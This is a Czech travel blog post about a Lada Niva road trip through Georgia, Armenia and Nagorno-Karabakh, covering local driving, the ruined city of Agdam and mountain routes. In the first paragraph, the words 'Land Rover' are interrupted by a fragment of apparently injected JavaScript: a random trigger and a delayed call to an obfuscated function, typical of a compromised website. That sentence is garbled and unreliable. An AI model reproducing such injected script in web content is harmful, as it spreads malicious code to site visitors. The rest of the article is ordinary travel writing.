Rusodlak v Arménii a Karabachu

Tumáš, Rusáku! A ještě jednu! A teď pořádnou pecku! Letím napříč arménskou plání k obrovským horám na horizontu a začíná mi docházet, proč je v téhle zemi každý druhý auto Lada 4×4. Nebo jak my jí říkáme – nivuška. Existuje spousta jinejch aut, který jsou podobně schopný a jednoduchý. Jenže k autům jako je Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Rover Defender si nakonec vytvoříte určitej osobní vztah. V případě Lady je vám ale úplně jedno, jak moc jí týráte. Máte chuť tomu ruskýmu krámu naložit, co se do něj vejde, a to je nesmírně osvobozující. Dovolíte si víc a zjistíte, že i po téměř neexistující silnici plný kráterů se dá letět opravdu rychle. I ty strašný rány po čase přestanete vnímat.

Na cestu do Gruzie, Arménie a Náhorního Karabachu jsem se vydal s Expedičním klubem po předchozí perfektní zkušenosti z Bosny. Samozřejmě hlavně proto, že po přejezdu nočním vlakem z Tbilisi (super město!) do Jerevanu (super město!) na nás čekaly dvě krásný nový Nivy z roku 2012. Popravdě ale klidně mohly bejt z roku 82. Pásy se zasekávaly, stěrače taky, interiér je jedno velký retro, centrál se smyslem pro humor rád zamyká klíče v autě a přibližně každou hodinu přestane svítit některé světlo. A jako bonus dýchavičná 1,7 pod kapotou, která se sbírá do otáček ochotně asi jako bezďák z lavičky.

Jenže taky je tu redukční převodovka, uzávěrka diferenciálu, dost místa pro čtyři dospěláky a jejich krosny, nečekanej komfort na cestách jako řešeto a schopnost bez keců přijmout jakejkoliv trest. Do Arménie nic víc nepotřebujete a rychle se stejně nedá jezdit ani tam, kde je zrovna rozumnej asfalt. V noci totiž není problém potkat žigulíka úplně bez světel nebo starej ruskej náklaďák sunoucí se 15 km/h, po cestách se potulujou spousty krav a ovcí a počet pruhů na silnici je stejně jako v Gruzii předmětem neustálého vyjednávání. A jen co si na to zvyknete, najednou potkáte na zapadlý benzínce kdesi pod horama Teslu v nabíječce. WTF?

Pro milovníky motorů je to každopádně fantastickej skanzen ruský techniky všeho druhu, který vévodí UAZy a Kamazy na tisíc způsobů. Osobně se mi taky nesmírně zalíbilo, jak jezdí řidiči v Jerevanu. Když chtějí udělat nějakej manévr, tak ho prostě udělají. Žádný dlouhý přemýšlení nebo nerozhodnost. Jak říkali v autoškole: ne zbrkle, ale rázně! Každej volnej metr znamená příležitost, která se musí využít. U nás by byl takovej řidič za prase, ale když tak jezdí všichni, je to nesmírně efektivní. Nikdo se nerozčiluje, všichni jsou ohleduplní a ostražití. Nerozjíždí se z křižovatky půl minuty, nezastavujou zbytečně před kruháčem. Kdežto u nás je to samej plážovej jezdec, kterej na každý rozhodnutí potřebuje čtvrt minuty. Jenom jízda v koloně více aut je v Jerevanu trochu náročnější – stačí mezi sebou nechat prostor na půl krávy a hned tam máte dvě tři auta, ani nevíte jak.

Ve městech jsme se ale nakonec moc nezdržovali a zážitky jsme sbírali spíš jinde. A vždycky nás Lada i bez jakýkoliv terénní výbavy podržela. Když jsme se skoro bez benzínu ztratili na hranicích v horách a bloudili mezi ostnatými dráty neskutečně kluzkým bahnem. Na sněhu a ledu v téměř neproniknutelné mlze. Vysoko v horách, kde i po mrazivý noci po břicho ve sněhu naskočila na první škytnutí. Na zdánlivě neprůjezdných cestách, kde byly jen dvě možnosti: jet téměř krokem půl dne mezi dírami a občas zapadnout, nebo ignorovat nárazy, korigovat neustálý skluzy a letět kupředu. Lada držela tempo a ani necekla. Jámy, který jsme ještě první den objížděli obloukem, jsme nakonec řezali v plný rychlosti.

Asi největší síla byl průjezd zakázaným městem Agdam. Ještě před dvaceti lety velký ázerbajdžánský město, dnes téměř kompletně srovnaný se zemí. Od obzoru k obzoru se táhnou jen nekonečný ruiny. Většinou stojí jen kusy zdí, ale občas je vidět i zbytky velikejch sloupů histrických budov. V cestách jsou díry po granátech a mezi troskama žije jen pár pastevců, hledačů cenností – a samozřejmě vojáci. Když jsem s naším průvodcem při průzkumu omylem napochodoval do základny arménský posádky, zachránilo nás od zabavení telefonů, pasů a foťáků jen to, že jsme neškodný pytlíci „z Čechie“. S naším národem prostě nikdo nemá problém a rádi na nás vzpomínají i v zemích, o kterých jste nikdy neslyšeli. Na východě nás mají rádi jako bratry ze sovětských dob, na západě zase jako bratry z NATO. Že jsme nikdy nebyli pro nikoho hrozba a většinou jsme něčí oběť má i svoje výhody.

Za týden v Arménii každopádně dostaly Nivy takovej náklad, jakej většina aut v Česku nedostane za deset let. Přesto jsme kromě ufouklé pneumatiky neměli jedinou poruchu a byl to road trip, na jakej se nezapomíná. Nocování v opuštěných barácích, prohánění se po širokých pláních za zvuku Jeffersons Airplane, noční horská stoupání, divoký terénní pasáže… Kdo si někdy dělal snídani na zadním sedadle uhánějící Nivy, ten nakrájí chleba klidně i při zemětřesení. Sice jsem při tom nejmíň dvakrát bodnul do sedačky řidiče, ale nikdy to nešlo skrz. A když nám otrnulo, dopřávali jsme si občas rally jízdu jen tak pro radost. Třeba na štěrkové horské cestě z lanovky u chrámu Tatev dokáže i Niva předvést náznaky driftu, když jedete dostatečně bez mozku.

Se svým vyhlášeným řidičským uměním nás seznámili i gruzínští maršrutkáři. Tihle řidiči dodávek, kteří zajišťují prakticky veškerou dopravu, bývají opravdoví střelci. S jedním jsme letěli noční silnicí do Kutaisi takovým tempem, že i odvážného Autodlaka přešel smích. Sprinter plný lidí byl neustále v protisměru, nebo alespoň nalepený na něčím kufru. Ono když se už potřetí rovnáte mezi dva kamiony v nepřehledné zatáčce, přestává to bejt prdel. Obzvlášť, když do toho duní na plný pecky šílená ruská muzika a v uličce mezi sedadly se pohupuje dvoumetrová plynová bomba, kterou řidič slíbil kamsi odvézt. Ale co byste čekali, Gruzie je přece domovská země legendárního pilota staré M5 Girogiho Tevadzeho!

Jestli rádi cestujete a už vás moc nebaví profláknutý země, tuhle krásnou a přívětivou část světa můžu doporučit. Jen se tam radši vydejte dřív, než si v Ázerbajdžánu usmyslí, že už by ten Náhorní Karabach přeci jen zase chtěli zpátky (mimochodem, čtení o téhle válce je opravdu zajímavý). My jsme se vydrápali hlubokým sněhem do 4000 metrů na nejvyšší arménskou horu Aragatz, projeli se prastarýma lanovkama v Chiatuře, objeli fantastické horské jezero Sevan, viděli desítky tisíciletejch chrámů s neuvěřitelně silnou atmosférou, užili si lázně ve Tbilisi, vypili hektolitry granátovýho vína a zažili víc průjmů, než předtím za celej život.

Ostatně podívejte se na krátký atmosférický video z cesty a skvělý fotky, který z naší cesty pořídil Peter Majerčák. Vsadím se, že pak začnete rovnou balit:

Share on facebook
sdílej článek